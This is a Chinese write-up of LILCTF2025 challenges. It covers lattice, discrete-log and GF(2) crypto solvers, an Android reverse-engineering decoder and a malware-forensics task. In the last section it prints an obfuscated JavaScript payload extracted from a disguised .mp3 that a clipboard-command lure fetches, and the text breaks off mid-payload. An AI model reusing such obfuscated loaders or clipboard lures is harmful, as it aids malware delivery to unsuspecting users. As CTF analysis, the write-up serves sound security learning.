LILCTF2025 - WriteUp


碎碎念

x@:)fp|]W#mc=AXES]{ICf<L,Fq\,ctDFW?rCiJ%^gSu9hylW)UFTio3Sfg\kT(@wl$c0=']-9

第一次的话已经说累了,整点别的
新一轮燃尽之旅,超凡脱俗了,这次的wp很长,因为除了misc我还做了其他方向的内容)
lil的题目还是很不错的,感觉学到了不少,很有意思,明年再战

最后,彦门🙏永存
image-20250818024025022

Crypto

ez_math

知识点省流

ai梭哈

WP

队友做的,不过ai就能秒

Linear

知识点省流

ai梭哈

WP

简单分析一下可以确定,连上靶机后会得到很多数值,实际上是解线性代数

核心在于求解Ax=b,靶机会给我们一个16x32的矩阵和一个16维的向量,我们需要通过计算去反推一个32维的整数向量

可以将原方程变形为Ax-b=0后,构造增广矩阵M和增光向量y,使得方程为My=0

这也对应了y存在于矩阵M的零空间中,由于反推的整数向量是由范围优先的整数构成的,所以使得y在这个空间中对应的格是一个非常短的向量

用LLL算法去找到这个最短的基向量,再从中提出整数向量即可

import os
import random
import signal

signal.alarm(10)

flag = os.getenv("LILCTF_FLAG", "LILCTF{default}")

nrows = 16
ncols = 32

A = [[random.randint(1, 1919810) for _ in range(ncols)] for _ in range(nrows)]
x = [random.randint(1, 114514) for _ in range(ncols)]

b = [sum(A[i][j] * x[j] for j in range(ncols)) for i in range(nrows)]
print(A)
print(b)

xx = list(map(int, input("Enter your solution: ").strip().split()))
if xx != x:
    print("Oh, your linear algebra needs to be practiced.")
else:
    print("Bravo! Here is your flag:")
    print(flag)

注意这里会用到sage,为了省事不用配环境,直接先用纯sage求值,再拿去给脚本提交(得益于他有10s的空档期):

sage部分

from sage.all import Matrix, ZZ, vector


A_list = [
    [986289, 1037421, 876831, 1437741, 391463, 484363, 174757, 133667, 33369, 663544, 368272, 557013, 996624, 812241,
     1810089, 1036354, 1824268, 713830, 1128134, 1102848, 627504, 1892174, 442125, 1833111, 1028453, 538386, 216739,
     1006609, 707510, 1249813, 522731, 36698],
    [203409, 426197, 1281098, 1144534, 675897, 1918970, 1004113, 1028254, 152856, 438475, 94912, 1681891, 1621577,
     1518042, 1609271, 382100, 496878, 1267972, 641440, 1306870, 278998, 1408790, 37982, 597877, 1856474, 1636130,
     467636, 675691, 1523323, 710740, 897592, 48877],
    [1380819, 1121490, 481366, 1882091, 776973, 412181, 1893086, 1689076, 1279364, 1090203, 446504, 937696, 1356736,
     1785698, 1133105, 972225, 1575203, 1628808, 426026, 79155, 1445489, 1250052, 385011, 1395085, 351205, 37635,
     1028217, 750745, 41560, 320123, 132041, 494385],
    [1421726, 493587, 32734, 569998, 306241, 1601165, 1697481, 1571883, 1691523, 607793, 1004767, 1873328, 1345180,
     1209784, 1169513, 1848614, 446834, 1166759, 545221, 636466, 814032, 1633072, 1289697, 960543, 1774293, 1452803,
     730007, 1516989, 1331282, 82932, 1811815, 1569724],
    [1913284, 156925, 1739402, 1407622, 1802633, 260179, 163974, 856138, 1273063, 1703047, 1738533, 1231103, 576536,
     1755015, 1630181, 1855508, 1918715, 1134086, 1317637, 576849, 1362016, 849710, 944924, 1564365, 629381, 629708,
     772138, 142314, 1098055, 832171, 92261, 1222165],
    [1618817, 421965, 1392391, 1561729, 485494, 619824, 977145, 1551189, 1795400, 1139062, 1466524, 409661, 965273,
     585040, 358765, 1189530, 604120, 658588, 1417013, 794961, 1420364, 1708444, 40389, 1221686, 643051, 1225636,
     1185726, 778346, 1195177, 1846558, 1531069, 222253],
    [1016259, 919507, 1344827, 1194122, 221754, 392545, 1522180, 512245, 1534393, 562810, 900937, 369936, 1181537,
     1828728, 1265368, 1793559, 1813844, 726597, 407245, 800557, 82744, 1194000, 1375068, 442390, 1455934, 1268947,
     532426, 1267920, 1723155, 735945, 1478460, 698406],
    [1612348, 1778328, 1151131, 1378584, 280865, 1086774, 984000, 819430, 1355050, 1445818, 1002362, 809283, 853566,
     6779, 1908510, 1616151, 1891947, 857417, 1306696, 1192725, 301572, 1883223, 1671075, 1668606, 1798560, 602156,
     1750906, 25655, 1490017, 1375289, 566125, 965745],
    [945795, 1533988, 1226815, 1852828, 1792995, 235559, 1095019, 398406, 1644953, 309437, 1202623, 249151, 735025,
     1022271, 1605616, 1322261, 1348376, 856010, 914895, 460316, 1529386, 1579741, 1520179, 1656578, 677860, 1587329,
     1376986, 88712, 1562922, 1196594, 542579, 938871],
    [938165, 756503, 1181327, 876952, 1109414, 310812, 1788066, 1127478, 1383301, 779819, 1685819, 741633, 955059,
     89876, 1644211, 927334, 563654, 846757, 1568679, 681586, 1370600, 1281211, 472303, 1338089, 489066, 1791037,
     1579375, 459867, 970155, 387258, 1666207, 252526],
    [1670347, 1620499, 813248, 292357, 1236744, 319559, 1238708, 1821094, 821535, 1223683, 458896, 378949, 1227848,
     1359572, 761771, 1848633, 1585174, 1823304, 1273961, 807635, 1374877, 514873, 567352, 83771, 315289, 996074,
     1777508, 1810410, 1504820, 1176888, 628406, 711034],
    [920625, 834976, 1329201, 1758883, 1274401, 513926, 1724767, 1098314, 1077424, 611843, 743733, 692149, 1188047,
     152124, 1880491, 1514463, 654241, 1370409, 1884735, 197313, 159775, 1706411, 1899881, 1510237, 1082416, 1203683,
     391817, 1236066, 1824223, 246962, 1384340, 288478],
    [1250927, 753265, 1259730, 1831186, 114382, 838089, 1383458, 1073806, 1291803, 1017817, 518072, 711461, 571913,
     989775, 1190410, 662455, 1487547, 1780354, 1098268, 1852925, 1867594, 174231, 231135, 1639009, 924589, 1507918,
     1605300, 1591151, 947924, 827984, 469903, 460327],
    [270631, 896737, 1284977, 1099006, 1341566, 1606736, 1697002, 57936, 1019214, 1753421, 103988, 1253453, 846179,
     1122321, 740064, 411333, 1450647, 1486217, 1624316, 310933, 1299783, 671139, 159159, 1832387, 1497176, 1681814,
     683684, 785514, 153169, 1568184, 334745, 182826],
    [211918, 9306, 496852, 40006, 1787878, 1715110, 1560885, 1613812, 1877979, 924353, 1018704, 679792, 83326, 1626192,
     1405560, 1216057, 1151537, 397417, 537968, 538506, 1169391, 1885481, 338875, 434421, 1882779, 317920, 1054176,
     229376, 1534987, 920639, 387936, 1305511],
    [1363205, 1206853, 271204, 895646, 757643, 67932, 1626487, 1287113, 190138, 1116279, 1577572, 1751529, 56272,
     421504, 1862400, 1645925, 546567, 1692175, 939505, 915664, 1055182, 1063613, 668269, 86659, 1798406, 507627,
     558143, 1691137, 1601012, 865184, 24535, 43094]]
b_list = [1579724526882, 1522534073530, 1804523948901, 2087834012431, 2189880099453, 2084607882676, 1895922937661,
          2203265067225, 2093004261502, 1874182288236, 2028844018471, 1884750643445, 2042413341121, 1876922882194,
          1867103071580, 1639944240118]


# ==============================================================================
# --- 步骤 2: 运行此脚本 (下面的代码无需修改) ---

def solve_from_data(A_data, b_data):
    """根据给定的 A 和 b 数据,计算并返回解字符串。"""
    try:
        # 转换为 SageMath 对象
        A = Matrix(ZZ, A_data)
        b = vector(ZZ, b_data)

        # 构造增广矩阵 M = [A | -b]
        M = A.augment(-b.column())

        # 计算 M 的右零空间并获取其基矩阵
        kernel_basis = M.right_kernel().basis_matrix()

        # 应用 LLL 算法找到最短向量
        lll_basis = kernel_basis.LLL()
        short_vector = lll_basis[0]

        # 标准化向量,确保最后一个分量为 1
        if short_vector[-1] == -1:
            solution_y = -short_vector
        elif short_vector[-1] == 1:
            solution_y = short_vector
        else:
            # 这种情况在CTF题目中几乎不会发生
            return f"错误: LLL求解异常,最后一个元素为 {short_vector[-1]}"

        # 提取解 x (除了最后一个元素之外的所有元素)
        x = solution_y[:-1]

        # 格式化为服务器要求的空格分隔的字符串
        solution_str = ' '.join(map(str, x))
        return solution_str

    except Exception as e:
        return f"计算过程中发生错误: {e}"


# 执行计算并打印结果
if __name__ == "__main__":
    # 检查占位符数据是否已被替换
    if A_list == [[1, 2, 3], [4, 5, 6]]:
        print("错误:请先将从 connector.py 获取的真实数据粘贴到此脚本中!")
    else:
        solution = solve_from_data(A_list, b_list)
        print("\n" + "=" * 65)
        print("计算完成!请将下面的解复制并粘贴到 connector.py 的运行终端中:")
        print("=" * 65 + "\n")
        print(solution)
        print("\n" + "=" * 65)

提交

from pwn import *

HOST = 'challenge.xinshi.fun'
PORT = 39782


def main():
    try:
        r = remote(HOST, PORT)
    except Exception as e:
        log.error(f"连接失败: {e}")
        return

    # --- 1. 获取题目 ---
    log.info("正在从服务器获取矩阵 A 和向量 b...")
    line_A = r.recvline().strip().decode()
    line_b = r.recvline().strip().decode()

    # 为了方便复制,我们打印成 Python 代码格式
    print("\n" + "=" * 60)
    print("请将以下内容完整复制到 'solver.sage' 文件中,然后运行它:")
    print("=" * 60 + "\n")
    print(f"A_list = {line_A}")
    print(f"b_list = {line_b}")
    print("\n" + "=" * 60)

    # --- 2. 等待用户输入计算出的解 ---
    log.info("等待您输入从 Sage 脚本计算出的解...")
    r.recvuntil(b'Enter your solution: ')

    try:
        solution_str = input("[+] 请在此处粘贴解并按回车: ")
    except EOFError:
        log.error("输入被中断。")
        r.close()
        return

    # --- 3. 提交解并获取 Flag ---
    log.info("正在发送解...")
    r.sendline(solution_str.encode())

    log.success("解已发送!接收服务器响应...")

    # 打印最终的服务器响应
    response = r.recvall(timeout=2).decode(errors='ignore')
    print("\n" + "=" * 20 + " 服务器响应 " + "=" * 20)
    print(response)
    print("=" * 55)

    r.close()


if __name__ == "__main__":
    main()

mid_math

知识点省流

ai梭哈

WP

简单来说,核心就在于用线代的特征值藏了一个key

矩阵C和D满足D=C^key

通过计算他们的特征值可以将问题转为线代问题,然后用离散对数解出key

最后解密即可

# 文件名: calculate_keys.sage
# 运行方式: sage calculate_keys.sage
from sage.all import *

# --- 已知信息 ---
p = 14668080038311483271
C_list = [[11315841881544731102, 2283439871732792326, 6800685968958241983, 6426158106328779372, 9681186993951502212], [4729583429936371197, 9934441408437898498, 12454838789798706101, 1137624354220162514, 8961427323294527914], [12212265161975165517, 8264257544674837561, 10531819068765930248, 4088354401871232602, 14653951889442072670], [6045978019175462652, 11202714988272207073, 13562937263226951112, 6648446245634067896, 13902820281072641413], [1046075193917103481, 3617988773170202613, 3590111338369894405, 2646640112163975771, 5966864698750134707]]
D_list = [[1785348659555163021, 3612773974290420260, 8587341808081935796, 4393730037042586815, 10490463205723658044], [10457678631610076741, 1645527195687648140, 13013316081830726847, 12925223531522879912, 5478687620744215372], [9878636900393157276, 13274969755872629366, 3231582918568068174, 7045188483430589163, 5126509884591016427], [4914941908205759200, 7480989013464904670, 5860406622199128154, 8016615177615097542, 13266674393818320551], [3005316032591310201, 6624508725257625760, 7972954954270186094, 5331046349070112118, 6127026494304272395]]

# 1. 设置 SageMath 的有限域和矩阵
P = GF(p)
C_mat = matrix(P, C_list)
D_mat = matrix(P, D_list)

print("[SAGE] 正在计算矩阵 C 和 D 的特征值...")
# 2. 计算特征值并过滤掉 0
C_eigenvalues = [v for v in C_mat.eigenvalues() if v != 0]
D_eigenvalues = [v for v in D_mat.eigenvalues() if v != 0]

print(f"[SAGE] C 的非零特征值: {C_eigenvalues}")
print(f"[SAGE] D 的非零特征值: {D_eigenvalues}")

# 3. 遍历所有可能的特征值配对,求解离散对数
potential_keys = set() # 使用集合来自动去重
for c_eig in C_eigenvalues:
    for d_eig in D_eigenvalues:
        try:
            # 求解离散对数: d_eig = c_eig ^ key
            key_candidate = d_eig.log(c_eig)
            potential_keys.add(int(key_candidate))
        except (ValueError, TypeError):
            # 如果配对不正确,log 会失败
            continue

print("\n" + "="*50)
print("[SAGE] 数学计算完成。")
print("[SAGE] 所有可能的候选 Key 如下:")
print(list(potential_keys))
print("="*50)
print("\n请将上面的列表复制到下一个 Python 脚本中。")

exp.py

# 文件名: decrypt_flag.py
# 运行方式: python decrypt_flag.py
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import long_to_bytes

# --- 已知信息 ---
msg = b"\xcc]B:\xe8\xbc\x91\xe2\x93\xaa\x88\x17\xc4\xe5\x97\x87@\x0fd\xb5p\x81\x1e\x98,Z\xe1n`\xaf\xe0%:\xb7\x8aD\x03\xd2Wu5\xcd\xc4#m'\xa7\xa4\x80\x0b\xf7\xda8\x1b\x82k#\xc1gP\xbd/\xb5j"

# --- 粘贴从 Sage 脚本得到的候选 Key 列表 ---
# 例如: potential_keys = [12345, 67890, ...]
potential_keys = [6448373187654316742] # 提示:这里我已经把上一步的计算结果填好了


# --- 开始解密 ---
print("[PYTHON] 开始尝试使用候选 Key 进行解密...")
found = False
for key_int in potential_keys:
    try:
        print(f"\n[*] 正在尝试 Key: {key_int}")
        
        # 1. 准备 AES 密钥
        aes_key = pad(long_to_bytes(key_int), 16)
        
        # 2. 创建解密器并解密
        cipher = AES.new(aes_key, AES.MODE_ECB)
        decrypted_padded = cipher.decrypt(msg)
        
        # 3. 反填充
        # 原始脚本使用 pad(flag, 64),所以 unpad 时 block_size 也是 64
        decrypted = unpad(decrypted_padded, 64)

        # 4. 验证解密结果
        if decrypted.startswith(b'LILCTF{'):
            print("\n" + "="*50)
            print(f"[SUCCESS] 找到正确的 Key: {key_int}")
            print(f"[SUCCESS] 解密成功! Flag 是: {decrypted.decode()}")
            print("="*50)
            found = True
            break
        else:
            print(f"[-] 解密内容不正确: {decrypted}")

    except Exception as e:
        # 可能是 unpad 错误,说明 key 不正确
        print(f"[-] 解密或反填充失败: {e}")
        continue

if not found:
    print("\n[FAIL] 遍历了所有候选 Key,但未能解密 Flag。")

Space Travel

知识点省流

ai梭哈

WP

直接利用题目给出的数据构建线性方程组去求解密钥的话需要解2^50量级的解空间

直接暴力求解是很难的,经过多次尝试后,留意到vecs表追踪共给了4096个向量,恰好是其张成的13维子空间的一半((2^13)/2),可以利用这些向量的基坐标去满足一个仿射线性方程,基于这个约束建立50个线性方程,直接构建出一个可直接求解的50x50的方程组,从而解出密钥

import numpy as np
from hashlib import md5
from Crypto.Cipher import AES

# --- 请将从题目文件中获得的数据填入此处 ---

# TODO: 在这里粘贴来自 'params.py' 的 'vecs' 列表
vecs_str = []

# TODO: 在这里粘贴来自 'output.txt' 中'🎁'部分的列表
data = []

# TODO: 在这里粘贴来自 'output.txt' 中'🚩'部分的加密Flag
# 请确保它是一个字节对象 (以 b' 开头)

encrypted_flag = b''



# --- 数据填充结束 ---

def get_rref_and_pivots(A):
    """计算矩阵A在GF(2)上的简化行阶梯形(RREF)和主元列索引"""
    m, n = A.shape
    A_rref = A.copy()
    pivot_cols = []
    pivot_row = 0
    col_order = list(range(n))

    for j in range(n):
        if pivot_row < m:
            i = pivot_row
            while i < m and A_rref[i, j] == 0:
                i += 1
            if i < m:
                A_rref[[pivot_row, i]] = A_rref[[i, pivot_row]]
                for row_idx in range(m):
                    if row_idx != pivot_row and A_rref[row_idx, j] == 1:
                        A_rref[row_idx, :] ^= A_rref[pivot_row, :]
                pivot_cols.append(j)
                pivot_row += 1
    
    for i in range(len(pivot_cols) - 1, -1, -1):
        pivot_col = pivot_cols[i]
        for row_idx in range(i):
            if A_rref[row_idx, pivot_col] == 1:
                A_rref[row_idx, :] ^= A_rref[i, :]
                
    return A_rref, pivot_cols


def solve_linear_system_gf2(A, b):
    """使用高斯消元法求解 Ax = b 在 GF(2) 上的一个特解"""
    m, n = A.shape
    aug = np.hstack([A.copy(), b.reshape(-1, 1)])
    aug_rref, pivot_cols = get_rref_and_pivots(aug)
    
    x = np.zeros(n, dtype=np.uint8)
    # 检查解是否存在
    for i in range(len(pivot_cols), m):
        if aug_rref[i, -1] == 1:
            raise ValueError("System has no solution")

    for i, p_col in enumerate(pivot_cols):
        if p_col < n:
            x[p_col] = aug_rref[i, -1]
    return x


def get_null_space_basis(A):
    """求解矩阵A在GF(2)上的零空间基"""
    m, n = A.shape
    A_rref, pivot_cols = get_rref_and_pivots(A)
    free_cols = sorted(list(set(range(n)) - set(pivot_cols)))
    
    basis = []
    for f_col in free_cols:
        v = np.zeros(n, dtype=np.uint8)
        v[f_col] = 1
        for i, p_col in enumerate(pivot_cols):
            if A_rref[i, f_col] == 1:
                v[p_col] = 1
        basis.append(v)
    return np.array(basis, dtype=np.uint8).T


def solve_challenge():
    if not all([vecs_str, data, encrypted_flag]):
        print("错误:请先在脚本中填入 'vecs_str', 'data', 和 'encrypted_flag' 的值。")
        return

    print("步骤 1: 分析vecs列表,找到隐藏的线性约束...")
    vecs_np = np.array([[int(c) for c in v] for v in vecs_str], dtype=np.uint8)
    
    # 1a. 计算vecs空间的基
    rref_vecs, p_cols_vecs = get_rref_and_pivots(vecs_np)
    rank = len(p_cols_vecs)
    basis_matrix = rref_vecs[:rank]
    print(f"  - vecs空间的秩 (Rank) = {rank}")
    
    # 1b. 将所有vecs向量表示为基的系数
    # 为了求解 a @ B = v,我们解 B.T @ a.T = v.T
    B_T = basis_matrix.T
    coeffs = []
    for v in vecs_np:
        a = solve_linear_system_gf2(B_T, v)
        coeffs.append(a)
    coeffs_matrix = np.array(coeffs, dtype=np.uint8)

    # 1c. 找到系数矩阵的仿射约束 w, b
    # 寻找一个向量 (w, b) 使得 [coeffs_matrix | 1] @ (w, b).T = 0
    aug_coeffs = np.hstack([coeffs_matrix, np.ones((len(coeffs_matrix), 1), dtype=np.uint8)])
    affine_constraint = get_null_space_basis(aug_coeffs)[:, 0]
    w = affine_constraint[:-1]
    b = affine_constraint[-1]
    print("  - 成功找到隐藏的线性约束方程!")

    print("步骤 2: 构建主线性方程组...")
    num_unknowns = 50 * rank
    A_new = np.zeros((len(data), num_unknowns), dtype=np.uint8)
    p = np.array([item[1] for item in data], dtype=np.uint8)

    for i, (nonce, _) in enumerate(data):
        nonce_bits = format(nonce, f'0{50*16}b')
        row = []
        for j in range(50):
            n_j = np.array([int(b) for b in nonce_bits[j*16:(j+1)*16]], dtype=np.uint8)
            row.extend((basis_matrix @ n_j) % 2)
        A_new[i] = np.array(row, dtype=np.uint8)

    print("步骤 3: 求解主方程组的特解和零空间...")
    M_p_flat, N_basis = get_null_space_basis(A_new), get_null_space_basis(np.hstack([A_new, p.reshape(-1,1)]))
    M_p_flat = N_basis[:num_unknowns, -1]
    N_basis = N_basis[:num_unknowns, :-1]

    d_null = N_basis.shape[1]
    print(f"  - 特解已找到,零空间维度为 {d_null}")

    print("步骤 4: 利用隐藏约束构建新方程组,直接求解零空间系数...")
    M_p = M_p_flat.reshape(50, rank)
    Ac = np.zeros((50, d_null), dtype=np.uint8)
    bc = np.zeros(50, dtype=np.uint8)

    for j in range(50):
        # (M_p_j + sum(c_i * N_ij)) @ w + b = 0
        # sum(c_i * (N_ij @ w)) = M_p_j @ w + b
        for i in range(d_null):
            N_ij = N_basis[:, i].reshape(50, rank)[j]
            Ac[j, i] = (N_ij @ w) % 2
        bc[j] = ((M_p[j] @ w) % 2 + b) % 2

    print("  - 新方程组构建完毕,求解...")
    c = solve_linear_system_gf2(Ac, bc)
    print("  - 成功求解出唯一的零空间系数!")

    print("步骤 5: 重构最终密钥...")
    M_correct_flat = (M_p_flat + N_basis @ c) % 2
    coefficients = M_correct_flat.reshape(50, rank)
    key_blocks = (coefficients @ basis_matrix) % 2
    key_str = "".join("".join(map(str, row)) for row in key_blocks)
    key = int(key_str, 2)
    print("  - 密钥重构成功。")

    print("步骤 6: 解密Flag...")
    aes_key = md5(str(key).encode()).digest()
    cipher = AES.new(key=aes_key, nonce=b"Tiffany", mode=AES.MODE_CTR)
    flag = cipher.decrypt(encrypted_flag)
    
    print("\n" + "="*40)
    try:
        print(f"🚩 Flag: {flag.decode()}")
    except UnicodeDecodeError:
        print(f"🚩 Flag (原始字节): {flag}")
    print("="*40)

if __name__ == '__main__':
    solve_challenge()

126e15f5-d700-4a3a-855f-3eceff99e0bb

Re

ARM ASM

知识点省流

简单的安卓逆向

WP

先用ida分析一下apk里面的so,找到mainactivity,看不懂就丢给ai分析,大致可以确定是一个对输入字符串的加解密编码的过程,同时里面引入了一个t的值

5de07ace-f1e0-4014-bb4f-e14114c00857

可以看到里面用到了一个base64的编码函数,找到t对应的位置,还能看到base64的索引表,这里被魔改了

9fd551be-d941-432a-90e0-7eb80b1d5cb6

所以提出t的值和base64索引表后,我们就可以写解密脚本了,但现在我们还需要密文

这里需要用到jadx去打开apk,老样子还是找mainactivity,就能看到下面加密字符串

0a0859fd-f92d-4d2e-92cf-3ff91487113a

最后搓脚本就好

# --- 自定义字符表 ---
CUSTOM_BASE64_ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/"

# --- 常量和初始数据 ---

# t表保持不变
t_table = [0xD, 0xE, 0xF, 0xC, 0xB, 0xA, 9, 8, 6, 7, 5, 4, 2, 3, 1, 0]

# 加密的字符串
encrypted_str = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S"


# --- 辅助函数 ---

def custom_b64decode(encoded_string):
    """
    使用自定义的Base64字符表解码字符串。
    """
    # 创建从字符到索引值的反向映射
    decode_map = {char: i for i, char in enumerate(CUSTOM_BASE64_ALPHABET)}

    # 移除任何可能的填充符(尽管在这个例子中没有)
    encoded_string = encoded_string.rstrip('=')

    # 将编码字符串转换为6位的整数值列表
    sextets = [decode_map[char] for char in encoded_string]

    decoded_bytes = bytearray()
    # 以4个值为一组进行处理 (4 * 6位 = 24位 = 3字节)
    for i in range(0, len(sextets), 4):
        chunk = sextets[i:i + 4]

        # 将4个6位值合并成一个24位整数
        val = (chunk[0] << 18) | (chunk[1] << 12) | (chunk[2] << 6) | chunk[3]

        # 将24位整数拆分为3个8位字节
        byte1 = (val >> 16) & 0xFF
        byte2 = (val >> 8) & 0xFF
        byte3 = val & 0xFF

        decoded_bytes.extend([byte1, byte2, byte3])

    # 根据填充情况处理末尾
    if encoded_string.endswith('=='):
        return decoded_bytes[:-2]
    elif encoded_string.endswith('='):
        return decoded_bytes[:-1]

    return decoded_bytes


def rol(byte, shift):
    """
    对一个字节执行左循环移位 (ROL)。
    """
    return ((byte << shift) | (byte >> (8 - shift))) & 0xFF


def get_table_for_iteration(i):
    """
    计算在加密循环的第 'i' 次迭代时使用的v10表。
    表在每次迭代中被使用后才会更新。
    """
    current_table = list(t_table)
    # i=0时, 使用原始的t表。
    # i=1时, 使用原始的t表。
    # i=2时, 使用 t表 XOR [1,1,1,...] 后的表。
    if i == 2:
        for j in range(16):
            current_table[j] ^= 1
    return current_table


def unshuffle(data_chunk, table):
    """
    逆转查询表操作 (vqtbl1q_s8)。
    加密: shuffled[j] = plain[table[j]]
    解密: plain[table[j]] = shuffled[j]
    """
    if len(data_chunk) != 16 or len(table) != 16:
        raise ValueError("数据和表都必须是16字节。")

    plain_chunk = [0] * 16
    for i in range(16):
        # 目标索引是 table[i]
        # 要放置的值是 data_chunk[i]
        plain_chunk[table[i]] = data_chunk[i]

    return plain_chunk


# --- 解密流程 ---

# 1. 使用自定义的字符表进行Base64解码
try:
    decoded_data = custom_b64decode(encrypted_str)
    print(f"[+] 使用自定义字符表解码后的数据 (长度={len(decoded_data)}): {decoded_data.hex()}")
except Exception as e:
    print(f"[-] 自定义Base64解码失败: {e}")
    exit()

if len(decoded_data) != 48:
    print(f"[-] 错误: 解码后的数据长度不是48字节, 而是 {len(decoded_data)}。")
    exit()

# 2. 逆转第二个循环 (位操作)
# 加密是ROR (右循环移位), 所以我们用ROL (左循环移位) 来逆转。
data_after_bit_ops_reversal = bytearray(decoded_data)
for j in range(0, 48, 3):
    # 逆转: v11[j] = ROR(v11[j], 5) => v11[j] = ROL(v11[j], 5)
    data_after_bit_ops_reversal[j] = rol(data_after_bit_ops_reversal[j], 5)

    # 逆转: v11[j+1] = ROR(v11[j+1], 1) => v11[j+1] = ROL(v11[j+1], 1)
    data_after_bit_ops_reversal[j + 1] = rol(data_after_bit_ops_reversal[j + 1], 1)

    # v11[j+2] 没有被修改, 所以我们什么都不做。

print(f"[+] 逆转位旋转操作后的数据: {data_after_bit_ops_reversal.hex()}")

# 3. 逆转第一个循环 (NEON逻辑)
# 我们必须以相反的顺序迭代: 2, 1, 0。
final_decrypted_data = bytearray(data_after_bit_ops_reversal)

for i in range(2, -1, -1):
    # 获取当前处理的16字节数据块
    start = 16 * i
    end = start + 16
    encrypted_chunk = final_decrypted_data[start:end]

    # 获取本次迭代对应的正确的表
    current_table = get_table_for_iteration(i)

    # 步骤 3.1: 逆转XOR操作
    # encrypted_chunk = XOR(shuffled_plain, table) => shuffled_plain = XOR(encrypted_chunk, table)
    shuffled_plain = [c ^ t for c, t in zip(encrypted_chunk, current_table)]

    # 步骤 3.2: 逆转shuffle操作 (vqtbl1q_s8)
    plain_chunk = unshuffle(shuffled_plain, current_table)

    # 将解密后的数据块放回数据数组中
    final_decrypted_data[start:end] = bytearray(plain_chunk)

# --- 最终结果 ---
try:
    result_string = final_decrypted_data.decode('utf-8')
    print("\n========================================")
    print(f"✅ Flag/解密后的字符串: {result_string}")
    print("========================================")
except UnicodeDecodeError:
    print("\n========================================")
    print("[-] 无法将结果解码为UTF-8字符串。原始字节如下:")
    print(f"解密后的字节: {final_decrypted_data.hex()}")
    print("========================================")

1'M no7 A rO6oT

知识点省流

还算简单的恶意代码取证逆向

WP

首先题目提到了自行承担后果,所以铁定没什么好事

进靶机之后根据他的验证提示,发现这里莫名其妙复制了一串命令(如果真执行了就会关机tmd)

54db7f9a-c8b9-48a0-ad57-bb1d5144411d

拉出来分析,发现他访问了一个mp3文件,给他下下来,不用说都知道里面有恶意代码或者程序,但是直接010看尾巴看不出来,内容有一点多,所以我一点点翻,发现这里有个script,所以把他前后截断提取出来

6daccc6e-410e-4eb3-84ba-be240d20f30e

提取得到代码如下,这其实就js,

<script>window.resizeTo(0, 0);window.moveTo(-9999, -9999); SK=102;UP=117;tV=110;Fx=99;nI=116;pV=105;wt=111;RV=32;wV=82;Rp=106;kz=81;CX=78;GH=40;PS=70;YO=86;kF=75;PO=113;QF=41;sZ=123;nd=118;Ge=97;sV=114;wl=104;NL=121;Ep=76;uS=98;Lj=103;ST=61;Ix=34;Im=59;Gm=101;YZ=109;Xj=71;Fi=48;dL=60;cX=46;ho=108;jF=43;Gg=100;aV=90;uD=67;Nj=83;US=91;tg=93;vx=45;xv=54;QB=49;WT=125;FT=55;yN=51;ff=44;it=50;NW=53;kX=57;zN=52;Mb=56;Wn=119;sC=65;Yp=88;FF=79;var SxhM = String.fromCharCode(SK,UP,tV,Fx,nI,pV,wt,tV,RV,pV,wt,wV,Rp,kz,CX,GH,PS,YO,kF,PO,QF,sZ,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,ST,RV,Ix,Ix,Im,SK,wt,sV,RV,GH,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,Fi,Im,Gm,YZ,Xj,kF,RV,dL,RV,PS,YO,kF,PO,cX,ho,Gm,tV,Lj,nI,wl,Im,RV,Gm,YZ,Xj,kF,jF,jF,QF,sZ,nd,Ge,sV,RV,tV,Gg,aV,uD,RV,ST,RV,Nj,nI,sV,pV,tV,Lj,cX,SK,sV,wt,YZ,uD,wl,Ge,sV,uD,wt,Gg,Gm,GH,PS,YO,kF,PO,US,Gm,YZ,Xj,kF,tg,RV,vx,RV,xv,Fi,QB,QF,Im,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,wt,wl,NL,Ep,uS,Lj,RV,jF,RV,tV,Gg,aV,uD,WT,sV,Gm,nI,UP,sV,tV,RV,wt,wl,NL,Ep,uS,Lj,WT,Im,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,FT,QB,yN,ff,RV,FT,QB,it,ff,RV,FT,it,Fi,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,xv,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,kX,ff,RV,FT,Fi,kX,ff,RV,xv,zN,FT,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,FT,Fi,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,it,Fi,ff,RV,xv,yN,yN,ff,RV,xv,NW,Fi,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,Mb,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,Fi,Fi,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,yN,yN,ff,RV,xv,xv,it,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,zN,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,FT,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,QB,FT,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,xv,zN,QB,ff,RV,xv,zN,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb